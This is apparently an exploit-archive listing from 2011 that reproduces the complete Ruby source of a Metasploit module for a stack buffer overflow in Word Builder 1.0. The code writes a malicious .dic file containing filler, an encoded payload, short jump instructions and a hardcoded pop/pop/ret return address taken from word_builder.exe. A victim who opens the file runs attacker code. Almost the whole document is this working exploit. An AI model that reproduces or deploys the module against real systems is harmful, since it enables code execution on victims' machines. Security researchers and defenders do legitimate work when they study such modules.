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Word Builder 1.0 (DIC File) Stack Buffer Overflow

Word Builder 1.0 (DIC File) Stack Buffer Overflow
Posted Jul 5, 2011
Authored by James Fitts, h1ch4m | Site metasploit.com

This Metasploit module exploits a stack-based buffer overflow in Word Builder 1.0. An attacker must send the file to the victim and the victim must open the file.

tags | exploit, overflow
SHA-256 | 4f09a8ce134a573e331adcdbf613031d7114055b816c39ca90f77e2dcf04af54

Word Builder 1.0 (DIC File) Stack Buffer Overflow

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::FILEFORMAT

def initialize(info = {})
super(update_info(info,
'Name' => 'Word Builder 1.0 (DIC File) Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow in Word Builder 1.0. An attacker must send the file to the victim and the victim must open the file.
},
'License' => MSF_LICENSE,
'Author' => [
'h1ch4m', # Initial Discovery
'James Fitts' # Metasploit Module
],
'Version' => '$Revision: $',
'References' =>
[
[ 'URL', 'http://www.exploit-db.com/exploits/17086' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'DisablePayloadHandler' => 'true',
},
'Payload' =>
{
'Space' => 1500,
'BadChars' => "\x00\x0a\x0d",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows Universal', { 'Ret' => 0x00411ce2 } ], #p/p/r in word_builder.exe
],
'Privileged' => false,
'DisclosureDate' => 'Apr 01 2011',
'DefaultTarget' => 0))

register_options(
[
OptString.new('FILENAME', [ true, 'The file name.', 'msf.dic']),
], self.class)
end

def exploit

dic = rand_text_alpha_upper(4103 - payload.encoded.length) + payload.encoded
dic << "\xe9\xfe\xef\xff\xff" # jmp $-4093
dic << "\x90\x90\xeb\xf7" # jmp $-7
dic << [target.ret].pack('V')

print_status("Creating '#{datastore['FILENAME']}' file ...")

file_create(dic)

end

end

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